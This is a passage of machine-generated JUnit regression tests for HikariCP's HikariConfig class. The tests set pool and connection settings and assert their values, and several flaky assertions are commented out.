boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
long long21 = hikariConfig16.getIdleTimeout();
java.lang.String str22 = hikariConfig16.getCatalog();
java.lang.String str23 = hikariConfig16.getConnectionTestQuery();
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
hikariConfig25.dataSourceClassName = "";
java.util.Properties properties28 = hikariConfig25.dataSourceProperties;
hikariConfig16.setDataSourceProperties(properties28);
hikariConfig1.setDataSourceProperties(properties28);
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
hikariConfig31.maxLifetime = 3;
int int34 = hikariConfig31.getMinimumPoolSize();
boolean boolean35 = hikariConfig31.isRegisterMbeans();
java.lang.String str36 = hikariConfig31.getConnectionTestQuery();
hikariConfig31.setLeakDetectionThreshold((long) 3);
long long39 = hikariConfig31.getLeakDetectionThreshold();
int int40 = hikariConfig31.minPoolSize;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNull(str20);
// flaky: org.junit.Assert.assertTrue("'" + long21 + "' != '" + 60L + "'", long21 == 60L);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertNull(str23);
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertTrue("'" + int34 + "' != '" + 10 + "'", int34 == 10);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + false + "'", boolean35 == false);
org.junit.Assert.assertNull(str36);
org.junit.Assert.assertTrue("'" + long39 + "' != '" + 3L + "'", long39 == 3L);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 10 + "'", int40 == 10);
}
@Test
public void test19083() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19083");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
javax.sql.DataSource dataSource5 = hikariConfig1.getDataSource();
boolean boolean6 = hikariConfig1.isAutoCommit();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer7;
hikariConfig1.connectionTimeout = 1;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(dataSource5);
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + true + "'", boolean6 == true);
}
@Test
public void test19084() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19084");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer7;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
}
@Test
public void test19085() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19085");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.setRegisterMbeans(true);
java.lang.String str13 = hikariConfig1.getConnectionInitSql();
javax.sql.DataSource dataSource14 = null;
hikariConfig1.setDataSource(dataSource14);
hikariConfig1.dataSourceClassName = "HikariPool-831";
int int18 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + 0 + "'", int18 == 0);
}
@Test
public void test19086() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19086");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.connectionTestQuery = "HikariPool-6";
hikariConfig1.setMaxLifetime(60L);
boolean boolean17 = hikariConfig1.isInitializationFailFast();
long long18 = hikariConfig1.idleTimeout;
java.lang.String str19 = hikariConfig1.connectionCustomizerClassName;
java.lang.String str20 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setLeakDetectionThreshold(0L);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNull(str20);
}
@Test
public void test19087() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19087");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.setMaximumPoolSize((int) '4');
hikariConfig1.setMaxLifetime((long) 0);
hikariConfig1.connectionCustomizerClassName = "HikariPool-481";
boolean boolean17 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setMaxLifetime((long) (byte) 0);
hikariConfig1.setMaxLifetime(0L);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
}
@Test
public void test19088() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19088");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.poolName = "HikariPool-770";
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.setMinimumPoolSize((int) '#');
hikariConfig1.setMaxLifetime((long) (byte) 10);
int int24 = hikariConfig1.getTransactionIsolation();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + (-1) + "'", int24 == (-1));
}
@Test
public void test19089() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19089");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
java.lang.String str8 = hikariConfig1.dataSourceClassName;
hikariConfig1.setCatalog("HikariPool-48684");
org.junit.Assert.assertNull(str8);
}
@Test
public void test19090() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19090");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setIdleTimeout((long) (short) 100);
hikariConfig1.setMaximumPoolSize((int) (byte) 0);
int int11 = hikariConfig1.getMinimumPoolSize();
long long12 = hikariConfig1.idleTimeout;
hikariConfig1.setAutoCommit(false);
hikariConfig1.minPoolSize = 10;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 100L + "'", long12 == 100L);
}
@Test
public void test19091() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19091");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
hikariConfig1.setMaxLifetime((long) (byte) 10);
long long15 = hikariConfig1.leakDetectionThreshold;
java.lang.String str16 = hikariConfig1.getCatalog();
long long17 = hikariConfig1.connectionTimeout;
javax.sql.DataSource dataSource18 = hikariConfig1.dataSource;
hikariConfig1.setRegisterMbeans(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 0L + "'", long15 == 0L);
org.junit.Assert.assertNull(str16);
// flaky: org.junit.Assert.assertTrue("'" + long17 + "' != '" + 10L + "'", long17 == 10L);
org.junit.Assert.assertNull(dataSource18);
}
@Test
public void test19092() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19092");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setIdleTimeout((long) '4');
java.lang.String str7 = hikariConfig0.connectionCustomizerClassName;
java.lang.String str8 = hikariConfig0.getCatalog();
long long9 = hikariConfig0.getAcquireRetryDelay();
hikariConfig0.connectionCustomizerClassName = "HikariPool-719";
hikariConfig0.setJdbc4ConnectionTest(false);
long long14 = hikariConfig0.getAcquireRetryDelay();
boolean boolean15 = hikariConfig0.isRegisterMbeans();
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
}
@Test
public void test19093() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19093");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.connectionTestQuery = "";
java.lang.String str5 = hikariConfig1.connectionCustomizerClassName;
int int6 = hikariConfig1.getAcquireIncrement();
java.lang.String str7 = hikariConfig1.getPoolName();
hikariConfig1.dataSourceClassName = "HikariPool-247";
hikariConfig1.setJdbc4ConnectionTest(false);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 0 + "'", int6 == 0);
// flaky: org.junit.Assert.assertEquals("'" + str7 + "' != '" + "HikariPool-50729" + "'", str7, "HikariPool-50729");
}
@Test
public void test19094() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19094");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
java.lang.String str6 = hikariConfig1.getConnectionInitSql();
hikariConfig1.maxLifetime = 0L;
java.lang.String str9 = hikariConfig1.getPoolName();
hikariConfig1.connectionCustomizerClassName = "HikariPool-551";
hikariConfig1.setMaximumPoolSize((int) (short) 100);
hikariConfig1.setMinimumPoolSize((int) ' ');
long long16 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertEquals("'" + str6 + "' != '" + "hi!" + "'", str6, "hi!");
// flaky: org.junit.Assert.assertEquals("'" + str9 + "' != '" + "HikariPool-50730" + "'", str9, "HikariPool-50730");
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
}
@Test
public void test19095() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19095");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
java.lang.String str4 = hikariConfig1.connectionTestQuery;
java.lang.String str5 = hikariConfig1.getDataSourceClassName();
hikariConfig1.setRegisterMbeans(true);
java.util.Properties properties8 = null;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
int int10 = hikariConfig9.getTransactionIsolation();
hikariConfig9.setRegisterMbeans(false);
hikariConfig9.dataSourceClassName = "";
hikariConfig9.validate();
java.lang.String str16 = hikariConfig9.connectionTestQuery;
java.util.Properties properties17 = hikariConfig9.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties17;
boolean boolean19 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(true);
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
}
@Test
public void test19096() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19096");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
long long9 = hikariConfig1.maxLifetime;
hikariConfig1.setMaximumPoolSize((int) (short) 10);
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
int int13 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setDataSourceClassName("HikariPool-137");
java.lang.String str16 = hikariConfig1.connectionTestQuery;
int int17 = hikariConfig1.getTransactionIsolation();
hikariConfig1.minPoolSize = (short) -1;
hikariConfig1.setPoolName("HikariPool-26645");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNotNull(properties12);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 10 + "'", int13 == 10);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
}
@Test
public void test19097() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19097");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.String str8 = hikariConfig1.transactionIsolationName;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setAcquireRetries(0);
hikariConfig1.connectionInitSql = "HikariPool-27455";
hikariConfig1.setMaxLifetime((long) 0);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
}
@Test
public void test19098() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19098");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer11;
hikariConfig1.setIdleTimeout((long) '#');
javax.sql.DataSource dataSource15 = hikariConfig1.getDataSource();
hikariConfig1.isJdbc4connectionTest = true;
boolean boolean18 = hikariConfig1.isInitializationFailFast();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + true + "'", boolean18 == true);
}
@Test
public void test19099() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19099");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
java.lang.String str6 = hikariConfig1.getConnectionInitSql();
hikariConfig1.maxLifetime = 0L;
int int9 = hikariConfig1.maxPoolSize;
long long10 = hikariConfig1.leakDetectionThreshold;
javax.sql.DataSource dataSource11 = hikariConfig1.dataSource;
hikariConfig1.setIdleTimeout(60L);
org.junit.Assert.assertEquals("'" + str6 + "' != '" + "hi!" + "'", str6, "hi!");
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 100L + "'", long10 == 100L);
org.junit.Assert.assertNull(dataSource11);
}
@Test
public void test19100() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19100");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTestQuery = "HikariPool-173";
hikariConfig1.setMaximumPoolSize(0);
java.lang.String str15 = hikariConfig1.getDataSourceClassName();
hikariConfig1.setRegisterMbeans(true);
java.util.Properties properties18 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setAcquireRetries((int) (byte) 0);
hikariConfig1.transactionIsolation = 60;
long long23 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + long23 + "' != '" + 0L + "'", long23 == 0L);
}
@Test
public void test19101() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19101");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.minPoolSize;
hikariConfig1.leakDetectionThreshold = 1800000L;
long long10 = hikariConfig1.maxLifetime;
hikariConfig1.setConnectionInitSql("HikariPool-2015");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 10 + "'", int7 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
}
@Test
public void test19102() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19102");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setInitializationFailFast(true);
boolean boolean12 = hikariConfig1.isRegisterMbeans();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19103() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19103");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig9 = new com.zaxxer.hikari.HikariConfig(properties8);
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties8);
hikariConfig10.setPoolName("HikariPool-36");
java.lang.String str13 = hikariConfig10.transactionIsolationName;
java.lang.String str14 = hikariConfig10.getConnectionInitSql();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19104() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19104");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource15 = null;
hikariConfig1.dataSource = dataSource15;
java.lang.String str17 = hikariConfig1.connectionTestQuery;
hikariConfig1.setLeakDetectionThreshold(0L);
java.lang.String str20 = hikariConfig1.connectionInitSql;
java.util.Properties properties21 = null;
com.zaxxer.hikari.HikariConfig hikariConfig22 = new com.zaxxer.hikari.HikariConfig(properties21);
int int23 = hikariConfig22.getTransactionIsolation();
hikariConfig22.setRegisterMbeans(false);
java.lang.String str26 = hikariConfig22.transactionIsolationName;
int int27 = hikariConfig22.transactionIsolation;
java.lang.String str28 = hikariConfig22.getConnectionInitSql();
int int29 = hikariConfig22.transactionIsolation;
java.util.Properties properties31 = null;
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties31);
hikariConfig32.setConnectionInitSql("hi!");
long long35 = hikariConfig32.getLeakDetectionThreshold();
java.util.Properties properties36 = null;
com.zaxxer.hikari.HikariConfig hikariConfig37 = new com.zaxxer.hikari.HikariConfig(properties36);
int int38 = hikariConfig37.getTransactionIsolation();
hikariConfig37.setRegisterMbeans(false);
java.lang.String str41 = hikariConfig37.transactionIsolationName;
int int42 = hikariConfig37.getMaximumPoolSize();
int int43 = hikariConfig37.transactionIsolation;
java.util.Properties properties44 = hikariConfig37.dataSourceProperties;
hikariConfig32.dataSourceProperties = properties44;
java.util.Properties properties46 = hikariConfig32.getDataSourceProperties();
hikariConfig22.addDataSourceProperty("HikariPool-489", (java.lang.Object) hikariConfig32);
hikariConfig32.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer50 = hikariConfig32.connectionCustomizer;
long long51 = hikariConfig32.getMaxLifetime();
hikariConfig32.setDataSourceClassName("HikariPool-105");
int int54 = hikariConfig32.maxPoolSize;
long long55 = hikariConfig32.connectionTimeout;
boolean boolean56 = hikariConfig32.isAutoCommit();
int int57 = hikariConfig32.getTransactionIsolation();
java.util.Properties properties58 = hikariConfig32.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties58);
int int60 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
